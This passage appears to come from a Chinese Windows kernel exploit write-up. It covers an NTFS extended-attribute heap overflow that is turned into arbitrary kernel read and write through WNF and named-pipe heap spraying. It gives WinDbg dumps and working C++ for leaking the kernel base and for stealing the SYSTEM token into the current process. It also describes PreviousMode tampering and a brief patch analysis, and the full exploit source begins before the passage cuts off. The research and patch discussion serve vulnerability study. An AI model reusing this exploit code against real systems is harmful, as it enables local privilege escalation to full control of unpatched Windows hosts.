+0x058 FileName : _UNICODE_STRING ""
+0x068 CurrentByteOffset : _LARGE_INTEGER 0x0
+0x070 Waiters : 0
+0x074 Busy : 1
+0x078 LastLock : (null)
+0x080 Lock : _KEVENT
+0x098 Event : _KEVENT
+0x0b0 CompletionContext : (null)
+0x0b8 IrpListLock : 0
+0x0c0 IrpList : _LIST_ENTRY [ 0xffffc58e`04e773d0 - 0xffffc58e`04e773d0 ]
+0x0d0 FileObjectExtension : (null)

1: kd> ?rcx-0xffff9f08`44c4cb31 // 固定的偏移
Evaluate expression: 319 = 00000000`0000013f

1: kd> dq 0xffff9f08`44c4cb31-1
ffff9f08`44c4cb30 00000002`00000204 0000000c`00000003
ffff9f08`44c4cb40 00000101`00000002 ffff9f08`43c88a68
ffff9f08`44c4cb50 ffff9f08`43c88a68 ffff9f08`43c88960
ffff9f08`44c4cb60 ffffc58e`04e77310 ffffc58e`01f67d80 // file_object的指针
ffff9f08`44c4cb70 00000000`00000001 ffff9f08`44c4cb78
ffff9f08`44c4cb80 ffff9f08`44c4cb78 00000000`00000002
ffff9f08`44c4cb90 00001000`00000000 00000000`00000000
ffff9f08`44c4cba0 ffff9f08`44c4cba9 00000000`00000000

而这个特殊的 pipe_attribute 就在 list_entry 的链表中,可以通过遍历 fd 指针找到它:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
1: kd> dx -id 0,0,ffffc58dfda7d380 -r1 ((ntkrnlmp!_LIST_ENTRY *)0xffff9f084dd8cad0)
((ntkrnlmp!_LIST_ENTRY *)0xffff9f084dd8cad0) : 0xffff9f084dd8cad0 [Type: _LIST_ENTRY *]
[+0x000] Flink : 0xffff9f084dd8b9f0 [Type: _LIST_ENTRY *]
[+0x008] Blink : 0xffff9f084dd8c030 [Type: _LIST_ENTRY *]

1: kd> dx -id 0,0,ffffc58dfda7d380 -r1 ((ntkrnlmp!_LIST_ENTRY *)0xffff9f084dd8b9f0)
((ntkrnlmp!_LIST_ENTRY *)0xffff9f084dd8b9f0) : 0xffff9f084dd8b9f0 [Type: _LIST_ENTRY *]
[+0x000] Flink : 0xffff9f0841dc8670 [Type: _LIST_ENTRY *]
[+0x008] Blink : 0xffff9f084dd8cad0 [Type: _LIST_ENTRY *]

1: kd> !pool 0xffff9f0841dc8670
Pool page ffff9f0841dc8670 region is Paged pool
ffff9f0841dc8160 size: 1e0 previous size: 0 (Allocated) FMfn
ffff9f0841dc8340 size: 1e0 previous size: 0 (Allocated) FMfn
*ffff9f0841dc8520 size: 1e0 previous size: 0 (Allocated) *NpFc Process: ffffc58e04d0d4c0
Pooltag NpFc : CCB, client control block, Binary : npfs.sys
ffff9f0841dc8700 size: 1e0 previous size: 0 (Free) FMfn
ffff9f0841dc88e0 size: 1e0 previous size: 0 (Allocated) FMfn
ffff9f0841dc8ac0 size: 1e0 previous size: 0 (Allocated) NpFc Process: ffffc58e024a62c0
ffff9f0841dc8ca0 size: 1e0 previous size: 0 (Allocated) FMfn

它的大小和我们所堆喷的块大小和 tag 都不一致,所以可以通过检查其 sizetag 来判断是否为该特殊块。然后通过 file_object → DeviceObject → DriverObject → DeviceObject → ntkrnlmp!IopInvalidDeviceRequest 来得到 IopInvalidDeviceRequest 的地址,然后减去 IopInvalidDeviceRequestntoskrnl.exe 中的偏移就是内核基址了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
0: kd> dt nt!_file_object ffffc58e059bd8a0
+0x000 Type : 0n5
+0x002 Size : 0n216
+0x008 DeviceObject : 0xffffc58d`ff133060 _DEVICE_OBJECT
+0x010 Vpb : (null)
+0x018 FsContext : 0xffff9f08`40a9a750 Void
+0x020 FsContext2 : 0xffff9f08`435c6091 Void
+0x028 SectionObjectPointer : (null)
+0x030 PrivateCacheMap : 0x00000000`00000001 Void
+0x038 FinalStatus : 0n0
+0x040 RelatedFileObject : 0xffffc58e`0598a130 _FILE_OBJECT
+0x048 LockOperation : 0 ''
+0x049 DeletePending : 0 ''
+0x04a ReadAccess : 0 ''
+0x04b WriteAccess : 0 ''
+0x04c DeleteAccess : 0 ''
+0x04d SharedRead : 0 ''
+0x04e SharedWrite : 0 ''
+0x04f SharedDelete : 0 ''
+0x050 Flags : 0x40082
+0x058 FileName : _UNICODE_STRING ""
+0x068 CurrentByteOffset : _LARGE_INTEGER 0x0
+0x070 Waiters : 0
+0x074 Busy : 0
+0x078 LastLock : (null)
+0x080 Lock : _KEVENT
+0x098 Event : _KEVENT
+0x0b0 CompletionContext : (null)
+0x0b8 IrpListLock : 0
+0x0c0 IrpList : _LIST_ENTRY [ 0xffffc58e`059bd960 - 0xffffc58e`059bd960 ]
+0x0d0 FileObjectExtension : (null)

// DeviceObject
0: kd> dx -id 0,0,ffffc58dfda7d380 -r1 -nv (*((ntkrnlmp!_DEVICE_OBJECT *)0xffffc58dff133060))
(*((ntkrnlmp!_DEVICE_OBJECT *)0xffffc58dff133060)) : Device for "\FileSystem\Npfs" [Type: _DEVICE_OBJECT]
[+0x000] Type : 3 [Type: short]
[+0x002] Size : 0x308 [Type: unsigned short]
[+0x004] ReferenceCount : 81 [Type: long]
[+0x008] DriverObject : 0xffffc58dff9e0e00 : Driver "\FileSystem\Npfs" [Type: _DRIVER_OBJECT *]
[+0x010] NextDevice : 0x0 [Type: _DEVICE_OBJECT *]
[+0x018] AttachedDevice : 0xffffc58dffc08b50 : Device for "\FileSystem\FltMgr" [Type: _DEVICE_OBJECT *]
[+0x020] CurrentIrp : 0x0 [Type: _IRP *]
[+0x028] Timer : 0x0 [Type: _IO_TIMER *]
[+0x030] Flags : 0x240 [Type: unsigned long]
[+0x034] Characteristics : 0x20000 [Type: unsigned long]
[+0x038] Vpb : 0x0 [Type: _VPB *]
[+0x040] DeviceExtension : 0xffffc58dff1331b0 [Type: void *]
[+0x048] DeviceType : 0x11 [Type: unsigned long]
[+0x04c] StackSize : 1 [Type: char]
[+0x050] Queue [Type: <anonymous-tag>]
[+0x098] AlignmentRequirement : 0x0 [Type: unsigned long]
[+0x0a0] DeviceQueue [Type: _KDEVICE_QUEUE]
[+0x0c8] Dpc [Type: _KDPC]
[+0x108] ActiveThreadCount : 0x0 [Type: unsigned long]
[+0x110] SecurityDescriptor : 0xffff9f083b88ff20 [Type: void *]
[+0x118] DeviceLock [Type: _KEVENT]
[+0x130] SectorSize : 0x0 [Type: unsigned short]
[+0x132] Spare1 : 0x1 [Type: unsigned short]
[+0x138] DeviceObjectExtension : 0xffffc58dff133368 [Type: _DEVOBJ_EXTENSION *]
[+0x140] Reserved : 0x0 [Type: void *]

// DriverObject
0: kd> dx -id 0,0,ffffc58dfda7d380 -r1 -nv (*((ntkrnlmp!_DRIVER_OBJECT *)0xffffc58dff9e0e00))
(*((ntkrnlmp!_DRIVER_OBJECT *)0xffffc58dff9e0e00)) : Driver "\FileSystem\Npfs" [Type: _DRIVER_OBJECT]
[+0x000] Type : 4 [Type: short]
[+0x002] Size : 336 [Type: short]
[+0x008] DeviceObject : 0xffffc58dff133060 : Device for "\FileSystem\Npfs" [Type: _DEVICE_OBJECT *]
[+0x010] Flags : 0x12 [Type: unsigned long]
[+0x018] DriverStart : 0xfffff80586a00000 [Type: void *]
[+0x020] DriverSize : 0x1c000 [Type: unsigned long]
[+0x028] DriverSection : 0xffffc58dff999050 [Type: void *]
[+0x030] DriverExtension : 0xffffc58dff9e0f50 [Type: _DRIVER_EXTENSION *]
[+0x038] DriverName [Type: _UNICODE_STRING]
[+0x048] HardwareDatabase : 0xfffff80583dab8f8 : "\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM" [Type: _UNICODE_STRING *]
[+0x050] FastIoDispatch : 0xffffc58dff16e150 [Type: _FAST_IO_DISPATCH *]
[+0x058] DriverInit : 0xfffff80586a18010 : Npfs!GsDriverEntry+0x0 [Type: long (__cdecl*)(_DRIVER_OBJECT *,_UNICODE_STRING *)]
[+0x060] DriverStartIo : 0x0 : 0x0 [Type: void (__cdecl*)(_DEVICE_OBJECT *,_IRP *)]
[+0x068] DriverUnload : 0x0 : 0x0 [Type: void (__cdecl*)(_DRIVER_OBJECT *)]
[+0x070] MajorFunction [Type: long (__cdecl* [28])(_DEVICE_OBJECT *,_IRP *)]

// DeviceObject
0: kd> dx -id 0,0,ffffc58dfda7d380 -r1 (*((ntkrnlmp!long (__cdecl*(*)[28])(_DEVICE_OBJECT *,_IRP *))0xffffc58dff9e0e70))
(*((ntkrnlmp!long (__cdecl*(*)[28])(_DEVICE_OBJECT *,_IRP *))0xffffc58dff9e0e70)) [Type: long (__cdecl* [28])(_DEVICE_OBJECT *,_IRP *)]
[0] : 0xfffff80586a0b670 : Npfs!NpFsdCreate+0x0 [Type: long (__cdecl*)(_DEVICE_OBJECT *,_IRP *)]
[1] : 0xfffff80586a0b270 : Npfs!NpFsdCreateNamedPipe+0x0 [Type: long (__cdecl*)(_DEVICE_OBJECT *,_IRP *)]
[2] : 0xfffff80586a0eaf0 : Npfs!NpFsdClose+0x0 [Type: long (__cdecl*)(_DEVICE_OBJECT *,_IRP *)]
[3] : 0xfffff80586a0d400 : Npfs!NpFsdRead+0x0 [Type: long (__cdecl*)(_DEVICE_OBJECT *,_IRP *)]
[4] : 0xfffff80586a0db10 : Npfs!NpFsdWrite+0x0 [Type: long (__cdecl*)(_DEVICE_OBJECT *,_IRP *)]
[5] : 0xfffff80586a0fb90 : Npfs!NpFsdQueryInformation+0x0 [Type: long (__cdecl*)(_DEVICE_OBJECT *,_IRP *)]
[6] : 0xfffff80586a0f980 : Npfs!NpFsdSetInformation+0x0 [Type: long (__cdecl*)(_DEVICE_OBJECT *,_IRP *)]
[7] : 0xfffff80583525d40 : ntkrnlmp!IopInvalidDeviceRequest+0x0 [Type: long (__cdecl*)(_DEVICE_OBJECT *,_IRP *)]
[8] : 0xfffff80583525d40 : ntkrnlmp!IopInvalidDeviceRequest+0x0 [Type: long (__cdecl*)(_DEVICE_OBJECT *,_IRP *)]
[9] : 0xfffff80586a13ec0 : Npfs!NpFsdFlushBuffers+0x0 [Type: long (__cdecl*)(_DEVICE_OBJECT *,_IRP *)]
[10] : 0xfffff80586a16250 : Npfs!NpFsdQueryVolumeInformation+0x0 [Type: long (__cdecl*)(_DEVICE_OBJECT *,_IRP *)]
[11] : 0xfffff80583525d40 : ntkrnlmp!IopInvalidDeviceRequest+0x0 [Type: long (__cdecl*)(_DEVICE_OBJECT *,_IRP *)]
[12] : 0xfffff80586a13030 : Npfs!NpFsdDirectoryControl+0x0 [Type: long (__cdecl*)(_DEVICE_OBJECT *,_IRP *)]
[13] : 0xfffff80586a0cb50 : Npfs!NpFsdFileSystemControl+0x0 [Type: long (__cdecl*)(_DEVICE_OBJECT *,_IRP *)]
[14] : 0xfffff80583525d40 : ntkrnlmp!IopInvalidDeviceRequest+0x0 [Type: long (__cdecl*)(_DEVICE_OBJECT *,_IRP *)]
[15] : 0xfffff80583525d40 : ntkrnlmp!IopInvalidDeviceRequest+0x0 [Type: long (__cdecl*)(_DEVICE_OBJECT *,_IRP *)]
[16] : 0xfffff80583525d40 : ntkrnlmp!IopInvalidDeviceRequest+0x0 [Type: long (__cdecl*)(_DEVICE_OBJECT *,_IRP *)]
[17] : 0xfffff80583525d40 : ntkrnlmp!IopInvalidDeviceRequest+0x0 [Type: long (__cdecl*)(_DEVICE_OBJECT *,_IRP *)]
[18] : 0xfffff80586a0ed50 : Npfs!NpFsdCleanup+0x0 [Type: long (__cdecl*)(_DEVICE_OBJECT *,_IRP *)]
[19] : 0xfffff80583525d40 : ntkrnlmp!IopInvalidDeviceRequest+0x0 [Type: long (__cdecl*)(_DEVICE_OBJECT *,_IRP *)]
[20] : 0xfffff80586a106a0 : Npfs!NpFsdQuerySecurityInfo+0x0 [Type: long (__cdecl*)(_DEVICE_OBJECT *,_IRP *)]
[21] : 0xfffff80586a0fe00 : Npfs!NpFsdSetSecurityInfo+0x0 [Type: long (__cdecl*)(_DEVICE_OBJECT *,_IRP *)]
[22] : 0xfffff80583525d40 : ntkrnlmp!IopInvalidDeviceRequest+0x0 [Type: long (__cdecl*)(_DEVICE_OBJECT *,_IRP *)]
[23] : 0xfffff80583525d40 : ntkrnlmp!IopInvalidDeviceRequest+0x0 [Type: long (__cdecl*)(_DEVICE_OBJECT *,_IRP *)]
[24] : 0xfffff80583525d40 : ntkrnlmp!IopInvalidDeviceRequest+0x0 [Type: long (__cdecl*)(_DEVICE_OBJECT *,_IRP *)]
[25] : 0xfffff80583525d40 : ntkrnlmp!IopInvalidDeviceRequest+0x0 [Type: long (__cdecl*)(_DEVICE_OBJECT *,_IRP *)]
[26] : 0xfffff80583525d40 : ntkrnlmp!IopInvalidDeviceRequest+0x0 [Type: long (__cdecl*)(_DEVICE_OBJECT *,_IRP *)]
[27] : 0xfffff80583525d40 : ntkrnlmp!IopInvalidDeviceRequest+0x0 [Type: long (__cdecl*)(_DEVICE_OBJECT *,_IRP *)]

// ntkrnlmp!IopInvalidDeviceRequest
0: kd> u fffff80583525d40
nt!IopInvalidDeviceRequest:
fffff805`83525d40 4883ec28 sub rsp,28h
fffff805`83525d44 488bca mov rcx,rdx
fffff805`83525d47 c74230100000c0 mov dword ptr [rdx+30h],0C0000010h
fffff805`83525d4e 33d2 xor edx,edx
fffff805`83525d50 e8db3ff1ff call nt!IofCompleteRequest (fffff805`83439d30)
fffff805`83525d55 b8100000c0 mov eax,0C0000010h
fffff805`83525d5a 4883c428 add rsp,28h
fffff805`83525d5e c3 ret

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
UINT64 leakKernelAddr(UINT64 fd, PWNF_STATE_NAME state, PVOID pQueryBuffer, PipeHandles pipeHandles) {

#if DEBUG
std::cout << "[+] leakKernelAddr " << std::endl;
#endif // DEBUG

UINT64 currentfd = fd;
UINT64 nextfd = 0;
UINT64 tag = 0;
for (int i = 0; i < PIPE_WRITE_ROUNDS; i++) {
tag = arbRead64(currentfd - 0x10, state, pQueryBuffer, pipeHandles) >> 32;
nextfd = arbRead64(currentfd, state, pQueryBuffer, pipeHandles);
if (tag != 0x7441704e) {
std::cout << "[+] find the special chunk : " << std::hex << currentfd << std::endl;
break;
}
currentfd = nextfd;
}

UINT64 pFileObject = arbRead64(currentfd - FILE_OBJECT_OFFSET, state, pQueryBuffer, pipeHandles);
UINT64 pDeviceObject = arbRead64(pFileObject + DEVICE_OBJECT_OFFSET, state, pQueryBuffer, pipeHandles);
UINT64 pDriverObject = arbRead64(pDeviceObject + DRIVER_OBJECT_OFFSET, state, pQueryBuffer, pipeHandles);
UINT64 pIopInvalidDeviceRequest = arbRead64(pDriverObject + MAJOR_FUNCTION_OFFSET + IOP_INVALID_DEVICE_REQUEST_OFFSET, state, pQueryBuffer, pipeHandles);
UINT64 kernelBase = pIopInvalidDeviceRequest - IOP_INVALID_DEVICE_REQUEST_ADDR;

#if DEBUG
std::cout << "\t[+] pFileObject : " << std::hex << pFileObject << std::endl;
std::cout << "\t[+] pDeviceObject : " << std::hex << pDeviceObject << std::endl;
std::cout << "\t[+] pDriverObject : " << std::hex << pDriverObject << std::endl;
std::cout << "\t[+] pIopInvalidDeviceRequest : " << std::hex << pIopInvalidDeviceRequest << std::endl;
std::cout << "\t[+] kernelBase : " << std::hex << kernelBase << std::endl;;
#endif // DEBUG

return kernelBase;
}

有限制的任意地址写和提权

最后是任意地址写,在这里由于我们可以控制溢出的堆块大小,所以可以使用指定大小的结构体的利用方式,这里使用的是之前的 _WNF_NAME_INSTANCE ,其大小为 0xa8 + 0x10 = 0xb8 ,申请的时候的堆块大小便为 0xc0 。通过堆喷出来能够够到的 _WNF_NAME_INSTANCE ,然后改写 StateData 指针并通过 NtUpdateWnfStateData 去改写它。

然而在 NtUpdateWnfStateData 中使用的 ExpWnfWriteStateData 函数会有一些限制,首先改写的 size 不能大于 allocSize ,否则会重新分配。其次改写的逻辑如下:

1
2
3
memmove(&wnfStateData->data, src, size);
wnfStateData->DataSize = size;
wnfStateData->ChangeStamp = i;

它会更新 DataSizeChangeStamp 部分,所以会导致改写到其他的地方。因而如果我们直接改写 eprocesstoken 则会覆盖到上面的这部分区域,从而导致出错:

1
2
3
4
5
6
7
8
0: kd> dt _EPROCESS
nt!_EPROCESS
...
+0x358 ExceptionPortData : Ptr64 Void
+0x358 ExceptionPortValue : Uint8B
+0x358 ExceptionPortState : Pos 0, 3 Bits
+0x360 Token : _EX_FAST_REF
...

既然不能从这里写,那么我们可以找一个影响不大的地方开始写,最后我选择了 0x310 处的 CreateTime

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0: kd> dt _EPROCESS
nt!_EPROCESS
...
+0x310 CreateTime : _LARGE_INTEGER
+0x318 ProcessQuotaUsage : [2] Uint8B
+0x328 ProcessQuotaPeak : [2] Uint8B
+0x338 PeakVirtualSize : Uint8B
+0x340 VirtualSize : Uint8B
+0x348 SessionProcessLinks : _LIST_ENTRY
+0x358 ExceptionPortData : Ptr64 Void
+0x358 ExceptionPortValue : Uint8B
+0x358 ExceptionPortState : Pos 0, 3 Bits
+0x358 ExceptionPortData : Ptr64 Void
+0x358 ExceptionPortValue : Uint8B
+0x358 ExceptionPortState : Pos 0, 3 Bits
+0x360 Token : _EX_FAST_REF
...

只需要遍历 _WNF_NAME_INSTANCE 存储的 eprocess ,然后替换 systemtoken 到我们这个程序来即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
void changeToken(UINT64 eprocess, PWNF_STATE_NAME pOverflowWNFState, PVOID pQueryBuffer, ULONG queryBufferSize, PipeHandles pipeHandles, PWNF_STATE_NAME pWriteStateName) {

#if DEBUG
std::cout << "[+] changeToken" << std::endl;
#endif // DEBUG

UINT64 beginEprocess = eprocess;
UINT64 processId = 0;
UINT64 nextEprocess = 0;
UINT64 dwPID = GetCurrentProcessId();
UINT64 currentEprocess = 0;

while (1) {
processId = arbRead64(eprocess + PROCESS_ID_OFFSET, pOverflowWNFState, pQueryBuffer, pipeHandles);
if (processId == 4) {
break;
}

nextEprocess = arbRead64(eprocess + NEXT_EPROCESS_OFFSET, pOverflowWNFState, pQueryBuffer, pipeHandles) - NEXT_EPROCESS_OFFSET;

if (nextEprocess == beginEprocess) {
break;
}
if (processId == dwPID) {
currentEprocess = eprocess;
}
eprocess = nextEprocess;
}
UINT64 systemToken = arbRead64(eprocess + TOKEN_OFFSET, pOverflowWNFState, pQueryBuffer, pipeHandles);

#if DEBUG
std::cout << "\t[+] systemToken : " << std::hex << systemToken << std::endl;
std::cout << "\t[+] eprocess : " << std::hex << eprocess << std::endl;
#endif // DEBUG

ULONG fakeTokenSize = (TOKEN_OFFSET + 8) - CREATE_TIME_OFFSET;

UINT64 writeAddr = currentEprocess + CREATE_TIME_OFFSET;
UINT64 originNameStatePtr = ((PUINT64)pQueryBuffer)[(allocSize + TOTAL_WNF_SIZE + 0x68) / 0x8];

PCHAR pFakeToken = (PCHAR)VirtualAlloc(NULL, fakeTokenSize, MEM_COMMIT, PAGE_READWRITE);
if (pFakeToken == NULL) {
std::cerr << "[-] failed to VirtualAlloc pFakeToken";
exit(-1);
}

memset(pFakeToken, 0, fakeTokenSize);
for (ULONG i = 0; i < fakeTokenSize / 0x8; i++) {
UINT64 tmpValue = arbRead64(writeAddr + i * 0x8, pOverflowWNFState, pQueryBuffer, pipeHandles);
memcpy(pFakeToken + i * 0x8, &tmpValue, sizeof(tmpValue));
}
memcpy(pFakeToken + TOKEN_OFFSET - CREATE_TIME_OFFSET, &systemToken, sizeof(systemToken));

arbWrite(writeAddr, pFakeToken, fakeTokenSize, pOverflowWNFState, pQueryBuffer, pWriteStateName);

VirtualFree(pFakeToken, 0, MEM_RELEASE);

}

最终效果:

Untitled 2.png

Patch分析

patchNtfsQueryEaUserEaList 中的比较,将 padding 变为加在 ea_block_size 上了。需要注意的是 EaValueLengthEaNameLength 都是小于两字节的,所以 ea_block_size + padding 是溢出不了的(否则可以溢出为 0 绕过判断),所以该 patch 没有任何问题。

Untitled 3.png

补充内容

泄露地址

实际上本文最终通过读取 _WNF_NAME_INSTANCE 中的 CreatorProcess 获取了 eprocess 的地址。这是一个不需要信息泄露的洞就可以得到 System 和本进程的 token 的方法。另外本文也泄露了内核基地址,不需要任何的信息泄露漏洞。

恢复内核堆

由于我们改了 _WNF_NAME_INSTANCE 中的 StateData 来任意地址写,当程序结束的时候也会释放 StateData 所指向的堆块,如果我们不恢复它的话就会导致蓝屏,所以正常的流程还需要修复该值。

稳定任意读写

通过有限制的任意地址读写,改写 KTHREAD  结构的 PreviousMode0 ,即可使用 NtReadVirtualMemory  和 NtWriteVirtualMemory 实现任意地址的读写。其判断逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
__int64 __fastcall MiReadWriteVirtualMemory(
HANDLE Handle,
size_t BaseAddress,
size_t Buffer,
size_t NumberOfBytesToWrite,
__int64 NumberOfBytesWritten,
ACCESS_MASK DesiredAccess)
{
int v7; // er13
__int64 v9; // rsi
struct _KTHREAD *CurrentThread; // r14
KPROCESSOR_MODE PreviousMode; // al
_QWORD *v12; // rbx
__int64 v13; // rcx
NTSTATUS v14; // edi
_KPROCESS *Process; // r10
PVOID v16; // r14
int v17; // er9
int v18; // er8
int v19; // edx
int v20; // ecx
NTSTATUS v21; // eax
int v22; // er10
char v24; // [rsp+40h] [rbp-48h]
__int64 v25; // [rsp+48h] [rbp-40h] BYREF
PVOID Object[2]; // [rsp+50h] [rbp-38h] BYREF
int v27; // [rsp+A0h] [rbp+18h]

v27 = Buffer;
v7 = BaseAddress;
v9 = 0i64;
Object[0] = 0i64;
CurrentThread = KeGetCurrentThread();
PreviousMode = CurrentThread->PreviousMode;
v24 = PreviousMode;
if ( PreviousMode )
{
if ( NumberOfBytesToWrite + BaseAddress < BaseAddress
|| NumberOfBytesToWrite + BaseAddress > 0x7FFFFFFF0000i64
|| Buffer + NumberOfBytesToWrite < Buffer
|| Buffer + NumberOfBytesToWrite > 0x7FFFFFFF0000i64 )
{
return 3221225477i64;
}
v12 = (_QWORD *)NumberOfBytesWritten;
if ( NumberOfBytesWritten )
{
v13 = NumberOfBytesWritten;
if ( (unsigned __int64)NumberOfBytesWritten >= 0x7FFFFFFF0000i64 )
v13 = 0x7FFFFFFF0000i64;
*(_QWORD *)v13 = *(_QWORD *)v13;
}
}
...
// read adn write
...
}

同时如果使用了该方法,最后也需要恢复 PreviousMode 来进行清理。

另外需要注意在 32 位下该方法是不能使用的,具体分析可以查看 这篇文章

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
#include <iostream>
#include <windows.h>

typedef struct _IO_STATUS_BLOCK
{
union
{
LONG Status;
PVOID Pointer;
};
ULONG Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;

typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR Flags;
UCHAR EaNameLength;
USHORT EaValueLength;
CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION;

typedef struct _FILE_GET_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR EaNameLength;
CHAR EaName[1];
} FILE_GET_EA_INFORMATION, * PFILE_GET_EA_INFORMATION;

typedef NTSTATUS(WINAPI* PZwSetEaFile)(
IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PVOID Buffer,
IN ULONG Length
);

typedef NTSTATUS(WINAPI* PZwQueryEaFile)(
IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID Buffer,
IN ULONG Length,
IN BOOLEAN ReturnSingleEntry,
IN PVOID EaList,
IN ULONG EaListLength,
IN PULONG EaIndex,
IN BOOLEAN RestartScan
);

typedef struct _WNF_STATE_NAME {
ULONG Data[2];
} WNF_STATE_NAME, * PWNF_STATE_NAME;

typedef const WNF_STATE_NAME* PCWNF_STATE_NAME;

typedef enum _WNF_STATE_NAME_LIFETIME {
WnfWellKnownStateName,
WnfPermanentStateName,
WnfPersistentStateName,
WnfTemporaryStateName
} WNF_STATE_NAME_LIFETIME;

typedef enum _WNF_STATE_NAME_INFORMATION {
WnfInfoStateNameExist,
WnfInfoSubscribersPresent,
WnfInfoIsQuiescent
} WNF_STATE_NAME_INFORMATION;

typedef enum _WNF_DATA_SCOPE {
WnfDataScopeSystem,
WnfDataScopeSession,
WnfDataScopeUser,
WnfDataScopeProcess
} WNF_DATA_SCOPE;

typedef struct _WNF_TYPE_ID {
GUID TypeId;
} WNF_TYPE_ID, * PWNF_TYPE_ID;

typedef const WNF_TYPE_ID* PCWNF_TYPE_ID;

typedef ULONG WNF_CHANGE_STAMP, * PWNF_CHANGE_STAMP;

typedef ULONG LOGICAL;

typedef struct _WNF_STATE_DATA {
ULONG Header;
ULONG AllocatedSize;
ULONG DataSize;
ULONG ChangeStamp;
}WNF_STATE_DATA, * PWNF_STATE_DATA;

typedef NTSTATUS(WINAPI* PZwCreateWnfStateName)(
_Out_ PWNF_STATE_NAME StateName,
_In_ WNF_STATE_NAME_LIFETIME NameLifetime,
_In_ WNF_DATA_SCOPE DataScope,
_In_ BOOLEAN PersistData,
_In_opt_ PCWNF_TYPE_ID TypeId, // This is an optional way to get type-safety
_In_ ULONG MaximumStateSize,// Cannot be above 4KB
